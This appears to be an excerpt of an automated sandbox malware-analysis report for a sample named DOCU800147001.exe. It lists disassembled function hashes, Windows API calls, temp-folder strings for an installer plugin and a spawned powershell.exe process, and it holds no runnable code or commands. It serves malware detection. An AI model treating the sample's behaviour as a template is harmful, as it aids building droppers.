Instruction ID: 37b6e5ee433a41c3c1a3ade2b68dfeb55dd06932413cee03f53a9676b214a67c
Opcode Fuzzy Hash: 62525b7c2a38e913442d275aa1c28f230d0f9bde0bdea29c2ebf83fee8925d4c
Instruction Fuzzy Hash: 5DF0AF25119D54A6C726333A1C49B9F1A55CEC3368F58053BF8A0B32D2DB3C8953ADAE

Function 004024D3 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 34filestringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(00000000,00000011), ref: 004024F1
WriteFile.KERNEL32(00000000,?,C:\Users\user\AppData\Local\Temp\nsx7F0.tmp\nsExec.dll,00000000,?,?,00000000,00000011), ref: 00402510

Strings

C:\Users\user\AppData\Local\Temp\nsx7F0.tmp\nsExec.dll, xrefs: 004024DF, 00402504

Memory Dump Source

Source File: 00000000.00000002.2169614295.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2169596206.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169633961.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.00000000007AF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170287531.00000000007B2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170287531.00000000007BD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_DOCU800147001.jbxd

Similarity

API ID: FileWritelstrlen
String ID: C:\Users\user\AppData\Local\Temp\nsx7F0.tmp\nsExec.dll
API String ID: 427699356-1842013876
Opcode ID: a0b9e4d4cabd500ee80d3648955f45f2d4dada88b7408df0afccb6b96bf52134
Instruction ID: 99ee78c1eccbef78809478a7420901dcf2550f89e1355c3fa2d0585c42f5b742
Opcode Fuzzy Hash: a0b9e4d4cabd500ee80d3648955f45f2d4dada88b7408df0afccb6b96bf52134
Instruction Fuzzy Hash: E2F0E972A44244EFDB40EBB08E4A9EF3268DB01304F10443FB141F61C2D5FC4941A76E

Function 0040356E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 19COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(?,C:\Users\user\AppData\Local\Temp\,00000000,76233410,00403546,0040338A,?), ref: 00403588
GlobalFree.KERNEL32(00000000), ref: 0040358F

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00403580

Memory Dump Source

Source File: 00000000.00000002.2169614295.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2169596206.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169633961.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.00000000007AF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170287531.00000000007B2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170287531.00000000007BD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_DOCU800147001.jbxd

Similarity

API ID: Free$GlobalLibrary
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 1100898210-3936084776
Opcode ID: 3009e9edeeaf225471aa20a49794f7f9debd27987f3a1fde2fe5324fb2cef97b
Instruction ID: c435f3d6a1630fa5b517ded6fe9ed7dc0ebc24c208808f32919fc3bc69cf13a8
Opcode Fuzzy Hash: 3009e9edeeaf225471aa20a49794f7f9debd27987f3a1fde2fe5324fb2cef97b
Instruction Fuzzy Hash: EBE08C32844120ABC6216FA4EC0871AB7686B58B22F06842BEC017B2B0837C2D424B98

Function 00405651 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(80000000,C:\Users\user\Desktop,00402C97,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\DOCU800147001.exe,C:\Users\user\Desktop\DOCU800147001.exe,80000000,00000003), ref: 00405657
CharPrevA.USER32(80000000,00000000,80000000,C:\Users\user\Desktop,00402C97,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\DOCU800147001.exe,C:\Users\user\Desktop\DOCU800147001.exe,80000000,00000003), ref: 00405665

Strings

C:\Users\user\Desktop, xrefs: 00405651

Memory Dump Source

Source File: 00000000.00000002.2169614295.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2169596206.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169633961.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.00000000007AF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170287531.00000000007B2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170287531.00000000007BD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_DOCU800147001.jbxd

Similarity

API ID: CharPrevlstrlen
String ID: C:\Users\user\Desktop
API String ID: 2709904686-3125694417
Opcode ID: c27a981e79bb352b20b7a8c74a9367836393bd04b8b6ccbc39cacac652a51138
Instruction ID: 7d1453c19011f5abfc5d5d617c6b663c4d95b5fcfd1fb09af13cacd58312ca43
Opcode Fuzzy Hash: c27a981e79bb352b20b7a8c74a9367836393bd04b8b6ccbc39cacac652a51138
Instruction Fuzzy Hash: 78D0A762409D702EE30363109C04B8F7A58CF12300F4904A2E080E6195C6791D414BAD

Function 00405770 Relevance: 5.0, APIs: 4, Instructions: 37stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,0040599F,00000000,[Rename],00000000,00000000,00000000), ref: 00405780
lstrcmpiA.KERNEL32(0040599F,00000000), ref: 00405798
CharNextA.USER32(0040599F,?,00000000,0040599F,00000000,[Rename],00000000,00000000,00000000), ref: 004057A9
lstrlenA.KERNEL32(0040599F,?,00000000,0040599F,00000000,[Rename],00000000,00000000,00000000), ref: 004057B2

Memory Dump Source

Source File: 00000000.00000002.2169614295.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2169596206.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169633961.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.00000000007AF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170287531.00000000007B2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170287531.00000000007BD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_DOCU800147001.jbxd

Similarity

API ID: lstrlen$CharNextlstrcmpi
String ID:
API String ID: 190613189-0
Opcode ID: 69516db92ab03ac2bd29524685631cd9f8e4e2de886f88dc1d7fd11a4109c375
Instruction ID: 10a66d07964700c4564cfa3c9d38ab292ebab1a3a98e0b2fc59037c9a3325cbe
Opcode Fuzzy Hash: 69516db92ab03ac2bd29524685631cd9f8e4e2de886f88dc1d7fd11a4109c375
Instruction Fuzzy Hash: B1F0C235605558FFD7129BA5DD4099EBBA8EF06350F2100AAF800F7211D274EE01ABA9

Analysis Process: powershell.exePID: 5664, Parent PID: 364COMMON

Executed Functions

Function 074C6628 Relevance: .8, Instructions: 831COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2544011605.00000000074C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 074C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_74c0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c00afdd8b6700cd22eced8c25d296868b398212072135c9f31ab07ef75f7ece5
Instruction ID: cdd3be3489cdaab64b1e6a0dbc2f0670dae09a53c02c53696a1b4055a817413c
Opcode Fuzzy Hash: c00afdd8b6700cd22eced8c25d296868b398212072135c9f31ab07ef75f7ece5
Instruction Fuzzy Hash: 68727EB8B00255DFDB54CB58C850FAABBB2ABC4304F15C09AD5099B755CB72EC86CF92

Function 074C7210 Relevance: .6, Instructions: 647COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2544011605.00000000074C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 074C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_74c0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f70595b34c2e8f004b2caaec5e1a8be6fc7df4e3dca0f779194f1c2f966f7fe0
Instruction ID: 3cf2edbaf378e0fbfba9336f64fd7ed4ce9f2f4334fd79acb98b51324d145dcc
Opcode Fuzzy Hash: f70595b34c2e8f004b2caaec5e1a8be6fc7df4e3dca0f779194f1c2f966f7fe0
Instruction Fuzzy Hash: 2C5240B8B00215DFDB54CB18C840FAAB7B2ABC4704F14C099EA499B755CB72ED86CF91

Function 074CCB39 Relevance: .6, Instructions: 620COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2544011605.00000000074C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 074C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_74c0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9f220b551c8f20b7b9d10f858094d396c68bda50f7cc6b38b65fcf76febc7536
Instruction ID: 3a1bea420b77257f64eabcf07c73b2bccf7d0b7a55bbda1cfb7c53dee4ae364b
Opcode Fuzzy Hash: 9f220b551c8f20b7b9d10f858094d396c68bda50f7cc6b38b65fcf76febc7536
Instruction Fuzzy Hash: 6F425EB8B00214DFDB54DB58C850FEBB7B2AB85740F148199EA099F751CB72ED828F91

Function 074C75AC Relevance: .6, Instructions: 572COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2544011605.00000000074C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 074C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_74c0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 70a3a317354145d2a6899625f1d0befcb7e63400409eba50acf7a1eb13b41490
Instruction ID: 7faab8ce9cfb3597a28157569a195d276d28100d949f0ab47135967227509d9e
Opcode Fuzzy Hash: 70a3a317354145d2a6899625f1d0befcb7e63400409eba50acf7a1eb13b41490
Instruction Fuzzy Hash: 473247B8B00205DFDB45CB58C484BAEBBB2EF85714F25815AE905AB755CB72EC42CF81

Function 074C75C0 Relevance: .6, Instructions: 566COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2544011605.00000000074C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 074C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_74c0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 05436f713216a25f4051b19a7c474a6549a4e93cfbe998e25dccef88e69e2a7d
Instruction ID: f388f573ca3aeacf310c66635e18703ddaba5258485d81a335200b228d7965c2
Opcode Fuzzy Hash: 05436f713216a25f4051b19a7c474a6549a4e93cfbe998e25dccef88e69e2a7d
Instruction Fuzzy Hash: 883246B8B00205DFDB45CB58C484BAEBBB2EF85714F15815AE905AB755CB72EC42CF81

Function 074C45D8 Relevance: .6, Instructions: 557COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2544011605.00000000074C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 074C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_74c0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 612660f7ba2ea0dc35cd62034e56fd81611bad5fe233980741dac5f9755bbdc5
Instruction ID: 477a3753234d7df0c11f0f2155578f3e2c82354889c3ae316a7505c14732b3d4
Opcode Fuzzy Hash: 612660f7ba2ea0dc35cd62034e56fd81611bad5fe233980741dac5f9755bbdc5
Instruction Fuzzy Hash: 6032BCB8B00245DFDB54CB98C550BAEBBB2EF89714F14C059E904AF755CB72EC428B91

Function 074C45BC Relevance: .5, Instructions: 515COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2544011605.00000000074C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 074C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_74c0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 884057d2c788a9ace554c13261a3332066be41fa57b7633c5af5858577ab1b8b
Instruction ID: 22e53e43649ea039aad5e160d417381167f6a9f517aab4bba128774652267d6e
Opcode Fuzzy Hash: 884057d2c788a9ace554c13261a3332066be41fa57b7633c5af5858577ab1b8b
Instruction Fuzzy Hash: 0B229DB8B00241DFDB54CB98C650FAEBBB2EF85714F15C05AE904AB755CB72EC428B91

Function 074CC368 Relevance: .5, Instructions: 491COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2544011605.00000000074C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 074C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_74c0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7911c3b11ff3407f1c283f66760138040d4f2f3118bb7e870c7e5e7372190a3a
Instruction ID: 17186744d229aff16291d4857701c49a020594ba27fe78f9b3a310842c8698d7
Opcode Fuzzy Hash: 7911c3b11ff3407f1c283f66760138040d4f2f3118bb7e870c7e5e7372190a3a
Instruction Fuzzy Hash: A0226FB4B00314DFDB14DB68C854FABB7A2AF85740F148199EA099F751CB72ED828F91

Function 074CCC22 Relevance: .5, Instructions: 466COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2544011605.00000000074C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 074C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_74c0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f19501d66b9cc71867bc2528ae2d9685755a45bfa4d7582bfbd83a9d494857ac
Instruction ID: 69dbd54c5f655f98d801d89b82ae9e9886b3e1b1543e46b0a1a91abf7766355b
Opcode Fuzzy Hash: f19501d66b9cc71867bc2528ae2d9685755a45bfa4d7582bfbd83a9d494857ac
Instruction Fuzzy Hash: E6126EB8700314DFDB14DB68C854FABB7A2EB85740F148199EA099F751CB72ED828F91

Function 09222268 Relevance: .4, Instructions: 438COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2547591871.0000000009220000.00000040.00000800.00020000.00000000.sdmp, Offset: 09220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_9220000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a8622a0e2d4e45a1cd92d0af2003e7e6b819cab3e327492028580d2ac6567ad8
Instruction ID: 7158d0c3f55640f27a3c2b13d627f6b0a3496fa31bf5abd98b2e193ef3094919
Opcode Fuzzy Hash: a8622a0e2d4e45a1cd92d0af2003e7e6b819cab3e327492028580d2ac6567ad8
Instruction Fuzzy Hash: 43022D75A10219EFCB09CF98D984A9EBBF2FF88310F248159E915AB365C771ED41CB90

Function 092218A0 Relevance: .4, Instructions: 413COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2547591871.0000000009220000.00000040.00000800.00020000.00000000.sdmp, Offset: 09220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_9220000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cef8df9caaa9101b060ff0476e3900315d5a94faa0676bc1c796281ce28da507
Instruction ID: 223ebc12eda8ee249fa896c1897fb02c36d05728632c11ad272efcf016b21bc8
Opcode Fuzzy Hash: cef8df9caaa9101b060ff0476e3900315d5a94faa0676bc1c796281ce28da507
Instruction Fuzzy Hash: 69023C34A15259EFDB05CF98C984E9DBBB2FF88310F248159E904AB366C771ED91CB90

Function 074C83E8 Relevance: .4, Instructions: 373COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2544011605.00000000074C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 074C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_74c0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ff852e40d21b54b0f4e2a457a5103a6f7e72b81a293f8503a6446237192611e3
Instruction ID: a4c26ca2c39cb4a29126bd63ecdee0c2cbf77c3ffaeec40cec4abd61a994a4fc
Opcode Fuzzy Hash: ff852e40d21b54b0f4e2a457a5103a6f7e72b81a293f8503a6446237192611e3
Instruction Fuzzy Hash: 43E1AFB8B00205DFDB54DBA8C444BAEBBA6AFC4704F14C45AEA11AF745CB71EC46CB91

Function 074CD072 Relevance: .3, Instructions: 333COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2544011605.00000000074C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 074C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_74c0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dc84244156613d4d5ce06b5e0a823ee224ace17102c09484d3e6f9118209d996
Instruction ID: 9b9c011939d54fd427cb165b440a549f5dd1c451101c930dd5ef9c0980fad9a1
Opcode Fuzzy Hash: dc84244156613d4d5ce06b5e0a823ee224ace17102c09484d3e6f9118209d996
Instruction Fuzzy Hash: 88E140B8F00219DFDB64CB68C844BEAB7B2AF85304F1081A9D509AB755CB71AD86CF51

Function 074C83C9 Relevance: .3, Instructions: 307COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2544011605.00000000074C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 074C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_74c0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 666398bdc3b134a2c111f0d7bbd924e8b353b32cd8adb21f31503acf0eae9cf1
Instruction ID: a19b46d5f08ad9d8e7aaad3f3f653ec1b283ea5193d3973f2474b67c8ff6c11a
Opcode Fuzzy Hash: 666398bdc3b134a2c111f0d7bbd924e8b353b32cd8adb21f31503acf0eae9cf1
Instruction Fuzzy Hash: D6C19CB8A00205DFDB54CF58C540BEABBB6AF88704F15C45EE901AF755CB72E886CB91

Function 074C8128 Relevance: .2, Instructions: 192COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2544011605.00000000074C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 074C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_74c0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 03fe77ae5ec9ac45a27c80640bc4fcf45bc1da4c5e23d3d5072228da3e130a8c
Instruction ID: 91ac756f3047a133bf5c193406c4f3d42863e6577f10b8568794b39067e53a0f
Opcode Fuzzy Hash: 03fe77ae5ec9ac45a27c80640bc4fcf45bc1da4c5e23d3d5072228da3e130a8c
Instruction Fuzzy Hash: ED71A0B8A00205DFDB54CF98C484AAEBBB6AFC9314F14816ED911AB755CB71EC42CB91

Function 092207C8 Relevance: .2, Instructions: 186COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2547591871.0000000009220000.00000040.00000800.00020000.00000000.sdmp, Offset: 09220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_9220000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c147d64ade4e67474eb8cfc54d0a55827bdbdcc15d1626c80fa961cda9119e95
Instruction ID: 343081c0e0e0856829aa7d703d698ae0ca15f4301fb90f7a10913193b7c32df3
Opcode Fuzzy Hash: c147d64ade4e67474eb8cfc54d0a55827bdbdcc15d1626c80fa961cda9119e95
Instruction Fuzzy Hash: A661A130B00259DFDB05DBA9D840AAEBBF6FFC8310F1485A9D505AB365DB359C06CB91

Function 074C8100 Relevance: .2, Instructions: 173COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2544011605.00000000074C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 074C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_74c0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7329d8ccbe2817968ee9a4a4a8f9abc6253e6f58d28a4d23e37a8648805c2dc7
Instruction ID: 7ddcc696809f47aae7f56c455a1cf8901565361bb65201fc13b2a147c2a265f5
Opcode Fuzzy Hash: 7329d8ccbe2817968ee9a4a4a8f9abc6253e6f58d28a4d23e37a8648805c2dc7
Instruction Fuzzy Hash: D761B2B8A00641DFDB51CF58C485AEEBBB6EF86314F19C15ED450AB722C732E842CB91

Function 074C8127 Relevance: .2, Instructions: 158COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2544011605.00000000074C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 074C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_74c0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 29cac3fbfa22ee2e54c00de73c0d36b266c5ec8548d10dae5e355152ebe0d9e6
Instruction ID: b84c5dea2a4382cc9bd006085afdc3c34778bc99f8face3e8b1986a37b028724
Opcode Fuzzy Hash: 29cac3fbfa22ee2e54c00de73c0d36b266c5ec8548d10dae5e355152ebe0d9e6
Instruction Fuzzy Hash: 6A515EB8A00205DFDB54CF58C484AEABBB6FF89314F14815ED815AB715C732E842CF91

Function 074C80EC Relevance: .2, Instructions: 155COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2544011605.00000000074C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 074C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_74c0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d2f819c4f269a5e46171a3e9fe205dff03b4b6ef1962a1758dadd19a9cd2ac37
Instruction ID: 3d9ee0b092e766ee167740f4bcae619fc187995c2acc7fc16a69e1293b925be1
Opcode Fuzzy Hash: d2f819c4f269a5e46171a3e9fe205dff03b4b6ef1962a1758dadd19a9cd2ac37
Instruction Fuzzy Hash: 30514FB8A00205DFDB54CF98C584AEABBB6FF89314F14855ED815AB715C732E842CF91

Function 074C7E72 Relevance: .1, Instructions: 137COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2544011605.00000000074C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 074C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_74c0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e2979f78c847c1be8b52733cf168b624a9771adc1df17e1d329b437aae8e0ffb
Instruction ID: 2bd0f4f29451ba03caecdc7f67880f225fc987addef25623fb18147f522cd583
Opcode Fuzzy Hash: e2979f78c847c1be8b52733cf168b624a9771adc1df17e1d329b437aae8e0ffb
Instruction Fuzzy Hash: EC51ABB8A00305DFDB64CF94C484BEEBBB6AF84314F15846AE604AB751CB72E842CF41

Function 09221872 Relevance: .1, Instructions: 132COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2547591871.0000000009220000.00000040.00000800.00020000.00000000.sdmp, Offset: 09220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_9220000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6df06bf76e942b4b92cb9f0e1ee3e3d592348db5ea0a39dbcf96c3120ac14f5f
Instruction ID: 308b3babb38ae8a59721902052a544566c2e2637c9f28452a70ff7040105b1dd
Opcode Fuzzy Hash: 6df06bf76e942b4b92cb9f0e1ee3e3d592348db5ea0a39dbcf96c3120ac14f5f
Instruction Fuzzy Hash: F4519C74A092199FCB05CF9CC9809AEBBF2FF49310B258259E854E7366C331AC51CBA0

Function 074C2125 Relevance: .1, Instructions: 131COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2544011605.00000000074C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 074C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_74c0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: db1f41ccc52fb8098954b923406b6fb91b6cc1c789188d02123632265da502b3
Instruction ID: 5a83e1b50821a2d6fdf88679c04b1d5157e2f53726c123b3dce37474f565c6e1
Opcode Fuzzy Hash: db1f41ccc52fb8098954b923406b6fb91b6cc1c789188d02123632265da502b3
Instruction Fuzzy Hash: 5C4138B9B002519BDB51D7B89810BEFBB62AFC5624B1045AFD6018B741DEF1CD4387A2

Function 092232A0 Relevance: .1, Instructions: 127COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2547591871.0000000009220000.00000040.00000800.00020000.00000000.sdmp, Offset: 09220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_9220000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fa8557188ae18f420f6a71cae69c287300508b385c4a9b7523259efeee335e00
Instruction ID: 3ff85c69ed7db0ffa17a0af3084ea24daf1d1eecda0b448a96b4211b8633874d
Opcode Fuzzy Hash: fa8557188ae18f420f6a71cae69c287300508b385c4a9b7523259efeee335e00
Instruction Fuzzy Hash: D9514030A1061ADFCB15CF5CC9949AEF7B6FF88310B248658E955A73A4D735EC42CB90

Function 074C3E00 Relevance: .1, Instructions: 124COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2544011605.00000000074C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 074C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_74c0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ff7696240464732b77e64e4e3c9b581679ae74b651de9bebb7b28839a1e75bcd
Instruction ID: 1f84630c11538a0ae15f2e761f8148e36865be51ef1540f3b474350cfa5601ed
Opcode Fuzzy Hash: ff7696240464732b77e64e4e3c9b581679ae74b651de9bebb7b28839a1e75bcd
Instruction Fuzzy Hash: 2F4137BAB002169BCB94DE69C8002FBF7A9AFC4610B14C96FC905D7345DB31D941C7A3

Function 09223290 Relevance: .1, Instructions: 123COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2547591871.0000000009220000.00000040.00000800.00020000.00000000.sdmp, Offset: 09220000, based on PE: false

Joe Sandbox IDA Plugin

